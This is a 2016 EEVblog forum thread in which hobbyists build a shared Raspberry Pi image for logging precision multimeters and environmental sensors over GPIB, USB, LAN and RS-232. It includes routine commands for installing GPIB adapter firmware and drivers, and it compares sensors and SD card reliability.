Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #37 on: November 23, 2016, 02:54:09 pm »
@ManateeMafia & Plesa
Thanx for the info.

I'll see if i can get a Raspi 1 or 3 going this weekend , while waiting for the BME's from China

/Bingo
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 298
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #38 on: November 24, 2016, 04:02:21 am »
Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.
Er, Ext4 FS is pretty stable these days.  What makes you think that the fs didn't fail because some blocks couldn't be written (or rather the controller *on the SD card* didn't write those blocks to the non-volatile storage medium, presumable because either power was cut or no free, still good block could be identified)?

Stories aplenty of corrupted file systems among RPi users.  Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #39 on: November 25, 2016, 08:15:04 pm »
I'm actually using ext4 too , and have no problems on my RasPi's.
I even have one with Kodi , that gets it's power cut when we leave the summerhouse.
That one have been working for 1.5 years wo. probs

/Bingo
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 298
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #40 on: November 27, 2016, 12:37:43 am »
Stories aplenty of corrupted file systems among RPi users.  Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.
I jinxed it, it seems.  I have now in my hands my first broken micro SD card.  It happened while tinkering with one of my RPis -- I managed to misplace the 40pin header of a 'hat' by one pin.   :palm:  The RPi seems to have survived, but can't boot anymore.  On a 2nd system, I can mount and read the fs, but there are block level errors when the host attempts to write (including writing the dirty bit of the fs).  Update: some blocks, including some which shouldn't have been modified in months, can't even be read.

Ext4 is a traditional Unix file system, designed for rotating storage media, with little provisions protecting from hardware (block level) failures (the boot block is copied a few times, but that's about it).  Hardware failures are assumed to be handled on the block layer (RAID or similar).

A fs designed with the specific properties of the medium might be of advantage.  Not sure, how F2FS suggested above would fare in the event of a SD controller failure.

I think running an OS of an SD card is a rather questionable proposition.  I'd be more at ease, having the host boot from such a card, populating a RAM disk with the OS and then running from there (like many embedded systems operate).  Debian/Raspbian might be too fat to fit into the RAM of a RPi.  I meant for a while already to have a look how well OpenWRT runs on a RPi ... 
« Last Edit: November 27, 2016, 05:40:57 pm by guenthert »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #41 on: November 27, 2016, 07:23:16 am »
Addon to the Vnut Platform

Here's Mark Simms annotated HP3458A calram readout , built on a RasPiv3 with a "fresh Jessie" , and linux-gpib 4.03
Rename the file extension to tar.gz , wasn't allowed as an upload extension

I haven't tested this one on my 58' yet , but it's build as the one i uploaded previously , that was used by TiN

/Bingo
« Last Edit: November 27, 2016, 07:25:51 am by bingo600 »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #42 on: November 27, 2016, 09:51:45 am »
I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.

Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.

Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #43 on: November 27, 2016, 05:12:32 pm »
I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.

I don't agree 100%
A common platform would be nice for ie. your DMM noiselogger measurements.


Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.
Have you tried with a powered USB hub ?
I think it could be power related.

Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.
Does that one deliver more/better power ?

/Bingo
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #44 on: November 27, 2016, 11:07:01 pm »
Image v2 is ready. Just needs to solve issue with ftp upload.
Image is runnning on RPi2/RPi3.´, based on Raspbian Jessie image with latest kernel 4.4.37.
Extra Kudos for TiN for space on  xDev storage https://xdevs.com/doc/_Images_RPI-DL/
And also lot of inspiration in his Python scripts and idea with D3js.

On image is running samba where you can find all python scripts, log files and website sources.
Just to map network drive with RPi address.
Scripts can be executes over ssh ( user pi, password raspberry) same for samba.
On website you can find few basic pages with D3 plots.

Tested is USB,LAN, USB-RS232, GPIB (NI-GPIB-HS).
Soon will be added support for Agilent 82357B adapter/clone - thanks to VK5RC for donating clone.
Also Prologix is on it way. Support will be added in next release, probably will be used wrapper
https://github.com/hgrecco/pyvisa/issues/112

Some interfaces like USB requires root privileges, so use sudo.
Script for logging mainly set intruments for logging on 10V or 20V range - for LTZ boards logging.
BME280 sensors has it own page for log data.
Script for logging with 3458A also run ACAL every 1°C or 24h and log the DCV gain data.


Here are examples
 #   Keyspan USA-19hs serial adapter
pi@raspberrypi:/pub/python $ python Test_RS232_USB.py
KEITHLEY INSTRUMENTS INC.,MODEL 6517B,1234567,A13/700x

pi@raspberrypi:/pub/python $ python Test_LAN.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09

pi@raspberrypi:/pub/python $ sudo python Test_USB.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09

pi@raspberrypi:/pub/python $ sudo python Test_GPIB.py
KEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17  /A02

pi@raspberrypi:/pub/python $ sudo python 3458A_Log.py
Temperature or time difference since last ACAL is higher than set treshold 1.0 C / 86400 s
Since start ACAL performed 0 times
Performing ACAL DCV, it will takes 3 minutes
10V Gain DCV = 0.993364009
Internal Temperature = 32.5
27/11/2016      18:15:07        1 x ACAL        7.16507735      -1.258 ppm      32.5 C
27/11/2016      18:15:15        1 x ACAL        7.16507738      -1.254 ppm      32.5 C
27/11/2016      18:15:23        1 x ACAL        7.16507724      -1.272 ppm      32.5 C
27/11/2016      18:15:31        1 x ACAL        7.16507726      -1.270 ppm      32.5 C
27/11/2016      18:15:39        1 x ACAL        7.16507726      -1.270 ppm      32.5 C

pi@raspberrypi:/pub/python $ python BME_Log.py
27/11/2016      16:47:35        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6
27/11/2016      16:47:45        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6
27/11/2016      16:47:55        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6


pi@raspberrypi:/pub/python $ sudo python 34410A_Log.py
Agilent Technologies,34410A,MY12345678,2.41-2.40-0.09-46-09
27/11/2016      17:06:55        7.16734802      0.6 ppm
27/11/2016      17:06:57        7.16734637      0.4 ppm
27/11/2016      17:06:59        7.16734833      0.7 ppm
27/11/2016      17:07:01        7.16734792      0.6 ppm
27/11/2016      17:07:03        7.16734937      0.8 ppm
27/11/2016      17:07:05        7.16734989      0.9 ppm
27/11/2016      17:07:07        7.16734974      0.9 ppm
27/11/2016      17:07:09        7.16734902      0.8 ppm
27/11/2016      17:07:11        7.16734973      0.9 ppm


pi@raspberrypi:/pub/python $ sudo python K2001_Log.py
KEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17  /A02

27/11/2016      19:26:08        -0.79064850     -1110349.2 ppm
27/11/2016      19:26:09        -0.79909820     -1111528.5 ppm
27/11/2016      19:26:09        -0.80731830     -1112675.7 ppm
27/11/2016      19:26:10        -0.81536700     -1113799.1 ppm
« Last Edit: November 27, 2016, 11:10:41 pm by plesa »
 
The following users thanked this post: TiN, mimmus78, dr.diesel, Nuno_pt

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #45 on: November 28, 2016, 01:48:44 am »
Quote
I don't agree 100%
A common platform would be nice for ie. your DMM noiselogger measurements.
More meant - can do both, DIY stuff for advanceds, but also have easy functions for beginner work :)
E.g. when linux-gpib was a new thing few years ago - fiddling with dozen of packages, kernel headers, firmware uploads enough to scare even brave *nix beginner  :)

Quote
Have you tried with a powered USB hub ?
I think it could be power related.
...
Does that one deliver more/better power ?

Yes, even tried powering +5V to dongle directly to pod from 3A PSU, same thing.
RPI board just forwards same +5V from input. Dongle takes ~400mA peak.

This issue is bit offtopic here, but I brought it up so we make sure images are ok for long term runs.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #46 on: November 28, 2016, 02:06:40 am »
I hope this image will help beginners to start with python and also with D3js for plotting. Histogram for noise measurement is also easy in D3. We just needs time to make scripts from scratch or convert EZGPIB ones.
TiN do you have all GPIB cables connected to instruments?

Image is here https://xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zip

 
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #47 on: November 28, 2016, 06:17:22 am »
Maybe worth to make two level app? First level for function logic, etc datalogger or noise tester or custom modes such as delta measurement using current source and voltmeter for resistance measurement, similar to Kei 6220+2182.

Second layer would be for hardware support, eg SCPI commands to talk actual instruments.

It will take a bit more work, but will be easier to add support for specific instruments later.

I always have 3458, 2002s connected on GPIB, and add other instruments as needed.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline HighVoltage

  • Super Contributor
  • ***
  • Posts: 4259
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #48 on: November 28, 2016, 10:02:54 am »
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.
There are 3 kinds of people in this world, those who can count and those who can not.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #49 on: November 28, 2016, 05:46:01 pm »
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.

RPi2 or RPi3. RPi3 is faster and has integrated WiFI/BT. Price is almost the same. Image is working on both, we are not using x64 mode available on RPi3.
Do not forget to buy also enclosure. As SD card is 8GB minimum, I'm using several Samsung SD ( Pro/EVO+)  cards without problems.
RPi official power adapter is OK, but during logging I used output of E3631A PSU ( 5V for RPi, and 15V for LTZ).

I do not have Prologix yet, so it is not working, but will be added soon. Currently is working on NI USB-HS and E5810 GPIB interface.
82357B will be added soon as well.
 


Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 719
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #51 on: November 28, 2016, 07:07:18 pm »

I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.

I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #52 on: November 28, 2016, 07:10:24 pm »

I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.

I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

Nice, displaying IP address and some status info is helpful. Any preference for used display ( character, matrix, size??)

What we needs to check is EMI which comes from RPi and power supply. and also EMI related to GPIB adapters. Any volunteer with experience?
« Last Edit: November 28, 2016, 07:14:05 pm by plesa »
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 719
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #53 on: November 28, 2016, 07:31:04 pm »
This 2.2" display is pretty small at 320x240. The smallest text size is 10 point and the largest is 24.

I have the Kuman 3.5" display with case. It looks like it would be a better choice but I haven't assembled it yet to see how durable it is. There doesn't seem to be any protection for the screen like the Uniker.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #54 on: November 28, 2016, 07:32:09 pm »
@plesa

You'd need these for Agilent USB adapters & clones.

Code: [Select]
sudo apt-get install fxload

 #Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

/Bingo

Ps: I don't have any EMI antennas  :-\
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #55 on: November 28, 2016, 08:05:32 pm »
@plesa

You'd need these for Agilent USB adapters & clones.

Code: [Select]
sudo apt-get install fxload

 #Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

/Bingo

Ps: I don't have any EMI antennas  :-\

Yep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?
EMI antennas are not required ferite beads and some wire will be enough :)
https://interferencetechnology.com/the-hf-current-probe-theory-and-application/
 

Online lukier

  • Supporter
  • ****
  • Posts: 615
  • Country: gb
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #56 on: November 28, 2016, 08:24:02 pm »
Yep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?

Check CY7C68013A user manual, it describes (AFAIR in the boot section) what to put at the beginning of the I2C EEPROM.

If I remember correctly it was something along these lines:
- mode (0 - shows up as Cypress device, used only for development, 1 - initial VID & PID from EEPROM, then upload the actual firmware - that's the mode used by Agilent, 2 - VID & PID & firmware in the EEPROM)
- VID
- PID

Initial (EEPROM) PID is different from the final one after firmware upload from the host, but I don't remember the numbers off the top of my head. It's somewhere online in the various linux-gpib guides.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #57 on: November 28, 2016, 08:28:50 pm »

From
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067


Code: [Select]
cd ~/linux-gpib
sudo apt-get install fxload

 #Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

cd gpib_firmware-2008-08-10/agilent_82357a/

 #Find the adapter
lsusb
 #It will show something like this : Bus 001 Device 007: ID 0957:0518 Agilent Technologies, Inc.

 #load firmware 1'st time
sudo fxload -t fx2 -D /dev/bus/usb/001/007 -I ./measat_releaseX1.8.hex

 #Find the adapter (Device will usually increment by 1 , after a fw load)
lsusb
 #It will show something like this : Bus 001 Device 008: ID 0957:0518 Agilent Technologies, Inc.

 #load firmware 2'nd time
sudo fxload -t fx2 -D /dev/bus/usb/001/008 -I ./measat_releaseX1.8.hex

 #Find the adapter
lsusb
 #It will show something like this : Bus 001 Device 009: ID ID 0957:0718 Agilent Technologies, Inc. , note the change to ID 0957:0718

The green led's should be lit , and we're ready to go.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #58 on: November 30, 2016, 10:44:44 pm »
Thanks Bingo600 and Lukier for info, unfortunately this adapter has VID/PID set to zero. So It looks to me that it will require programmer to load correct FW.

Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.
Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.

I only found that some instruments do not like connecting and disconnecting instruments to/from GPIB when running.
After hooking up K2001, the response time of 3458A incresed and power supply E3631A was in remote, but does not respond to commands at all.
After restarting E3631 everything is OK.
Setup was running for 3 weeks.
« Last Edit: November 30, 2016, 10:49:11 pm by plesa »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #59 on: December 01, 2016, 04:59:52 am »
Didn't see such stuff with my K2001's/3458 mixes.
Btw, I also had Agilent pod version of linux setup guide, using clone I have here.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #60 on: December 01, 2016, 09:52:54 am »
Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.
It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.
I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.
« Last Edit: December 01, 2016, 09:54:30 am by mimmus78 »
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #61 on: December 01, 2016, 06:40:26 pm »
Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.
It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.
I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.
If you needs DS18B20 sensors support you can inspire here
https://www.modmypi.com/blog/ds18b20-one-wire-digital-temperature-sensor-and-the-raspberry-pi

BME280 is unique for it's humidity measurement.
Lot of things are sensitive to humidity and not only to temperature. Price of BME280 is almost same like DS18B20, only absolute accuracy is better with DS18B20 ( 1C vs 0.5C).
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #62 on: December 01, 2016, 08:53:44 pm »
plesa:

I know you need at least one BME. What I tried to explain is that you don't need a second BME for a second temperature sensor.
You can connect ONE BME and one DS18B20 to the same RASPBERRY.

Anyway BME and DS18B20 have not the same price.
For the BME sensor you need to buy also the miniPCB and it costs 5 to 10 EUR.
As for the DS18B20 I can easily find one at less than 2 EUR locally.
And at least in Italy is more easier to find than the BME that is relatively new component.

Than if you consider to that it has TO92 package you also realise that is more easier to put on the right place and has very low thermal mass.
« Last Edit: December 01, 2016, 08:59:48 pm by mimmus78 »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #63 on: December 01, 2016, 09:30:06 pm »
Nice project. I have a HM8012 benchtop multimeter with RS232, a RK8511 DC electronic load with RS232 and a Siglent SPD3303D power supply with an USB port, do you plan to support this? Would be cool to control and read it all from Python on a Raspberry Pi for measurements and experiments, like power on/off stress tests. I can help to implement drivers for it.

Looks like the xdevs site is down. Maybe you could create a github repository with a script (and additional programs and config files etc. if needed), which you can just start to turn a fresh Raspian image into this special distribution? Only one wget from a root shell would be required and then starting the script. Bonus: add some Dialog menus (can be implemented in bash) what instrument drivers you want to install and how you want it to configure, just like the raspi-config. Then you don't need to host gigabytes of data, too. Everyone could fork the github repository and send you pull requests for new things they have implemented.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #64 on: December 01, 2016, 09:50:45 pm »
Hi Frank,

USB and LAN connection is already implemented and tested in image. It has been made by Alex.
USB is working over USB-RS232 converter (Keyspan 19HS).
The major problem with support is that I do not have such gear.
If it became bigger maybe we can consider creating wrapper for instruments, which can make the srips universal. and if we needs some rare instrument from same category only the interface needs to be made.

I already created Github :)
https://github.com/PlesaEEVBlog/RPi_LogNut
And I will put there scripts and webpages for data visualization soon.
Currently I'm migrating to D3js version 4.4.
You can start with fresh Raspbian. The intention was to create easy startup for Voltnuts without Rpi experience which can help all of us to use same platform and share our work.

 

Offline carl_lab

  • Frequent Contributor
  • **
  • Posts: 418
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #65 on: December 01, 2016, 10:06:37 pm »
"Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"

Instrument: several 3458A's

Interface: Agilent 82357B GPIB to USB
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #66 on: December 01, 2016, 10:40:20 pm »
"Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"

Instrument: several 3458A's

Interface: Agilent 82357B GPIB to USB
So you are exactly the user for this. Image ready to go including plots available on website is ready on xDevs site.
Ok! So what hardware I have to buy?
Raspberry version?
Memory card for sytem and enough space for logging data (4x 3458A voltage and TEMP readout over a month or more).
What else?

Which GPIB adapter you have?
...Agilent 82357B GPIB to USB interface

Also logging of environmental conditions over BME280 is there including visualization.
Is internal TEMP from one or all of the 3458A's sufficient?
Or oven thermistor out from 732A read out over another 6 1/2 digit DMM?
Unfortunatelly I have to remove the whole setup from temperature controlled cal lab to another room without air condition (I think it will be within 22 +/-1 Celisus, anyway).

RPi you should buy is:
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/
or
https://www.raspberrypi.org/products/raspberry-pi-3-model-b/
RPi3 is faster and has WiFi and Bluetooth.
Do not forget case
https://www.raspberrypi.org/products/raspberry-pi-case/
as a power supply I'm using E3631, 6V rail for RPi and 15V for LTZ.
SD card - I can recommends Samsung PRO, SamSung EVO+ or others recommended Sandisk extreme.
Minimum is 8GB on this size of microSD card will be still plenty of space left. I expect some logging on NPLC >10 and not digitizing. One week of logging is about 10MB.
Many components are sensitive to pressure and humidity changes not only temperature.
So I propose to log everything.
BME sensors are chep on eBay of if you are in hurry purchase Adafruit or Sparkfun ones ( $20/pcs) on eBay it is about $5/pcs.
« Last Edit: December 02, 2016, 05:53:30 am by plesa »
 
The following users thanked this post: carl_lab

Offline Bud

  • Super Contributor
  • ***
  • Posts: 3529
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #67 on: December 02, 2016, 07:31:34 pm »
@OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.
Facebook-free life and Rigol-free shack.
 
The following users thanked this post: bck

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #68 on: December 02, 2016, 08:41:47 pm »
@Bud

AFAIK he did  ;)

Just download the ready built image from TiN's site , write it to a SD card.
Showe it in the RasPi and boot from it.

/Bingo
 

Offline Bud

  • Super Contributor
  • ***
  • Posts: 3529
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #69 on: December 03, 2016, 12:15:15 am »
I am waiting for the Agileng clone adapter implementation, i only have that one.   :popcorn:
Facebook-free life and Rigol-free shack.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #70 on: December 03, 2016, 02:10:35 pm »
@OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.
Well, these common software developer practices will attract more developers, which in turn will help to create a better end user solution :)
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline carl_lab

  • Frequent Contributor
  • **
  • Posts: 418
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #71 on: December 03, 2016, 06:20:57 pm »
So you are exactly the user for this.
Image ready to go including plots available on website is ready on xDevs site.
...
RPi you should buy is:
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/
or
https://www.raspberrypi.org/products/raspberry-pi-3-model-b/
RPi3 is faster and has WiFi and Bluetooth.
Do not forget case
https://www.raspberrypi.org/products/raspberry-pi-case/
Does RPi-2 or -3 make a difference for needed image?
Where can I find the image? I scanned xdevs site several times, but was not able to find it.

Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?
It's quite confusing for me without linux or raspberry experience...

As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.
Is that firmware loaded into adapters RAM or why is it not loaded permanently?
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #72 on: December 03, 2016, 06:28:01 pm »
Does RPi-2 or -3 make a difference for needed image?
Where can I find the image? I scanned xdevs site several times, but was not able to find it.

Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?
It's quite confusing for me without linux or raspberry experience...

As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.
Is that firmware loaded into adapters RAM or why is it not loaded permanently?
Image is here https://xdevs.com/doc/_Images_RPI-DL/
Also the scripts are there. Image works on RPi2 and RPi3, there is no significant difference in perfomance for logging.
RAM is integrated on RPi board already.
Yes 82357B and clones require load firmware when plugged. It will be automated, so in next release you will not found difference to NI GPIB or E5810 usage.
 
The following users thanked this post: 2N3055, carl_lab

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #73 on: December 07, 2016, 09:00:43 pm »
I've tried to put the image on a 8GB Sandisk Ultra but it has a few sector less than needed (20MB actually):
Not enough space on disk: Size: 15564800 sectors  Available: 15523840 sectors  Sector size: 512

It's just great that a "8GB" card is 7.4 in reality...
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #74 on: December 07, 2016, 11:50:17 pm »
OK, so I will in next release resize image. and you will needs to resize image back to full size of SD card.
Thanks for info.
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #75 on: December 08, 2016, 11:30:19 am »
Reading back what I wrote, I'm sorry if this came through as a complaint, it wasn't aimed at you.
I can only be grateful for the idea and effort put into it. So thank you!
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #76 on: December 09, 2016, 06:55:46 pm »
I am waiting for the Agileng clone adapter implementation, i only have that one.   :popcorn:
For Agilent 82357B you'd need these additional commands

Code: [Select]
sudo apt-get install fxload
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz
sudo cp gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

sudo cp /etc/gpib.conf /etc/gpib.conf.bak
sudo sed -i 's/ni_usb_b/agilent_82357a/g' /etc/gpib.conf
sudo sed -i 's/violet/agilent/g' /etc/gpib.conf
sudo sed -i '0,/set-bin = no/s//set-bin = yes/' /etc/gpib.conf

sudo modprobe agilent_82357a
sudo gpib_config

If "lsmod |grep agilent" shows these two lines:
pi@pi3:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

Then this command makes loading the module permanent (otherwise the modprobe is needed after every reboot).
Code: [Select]
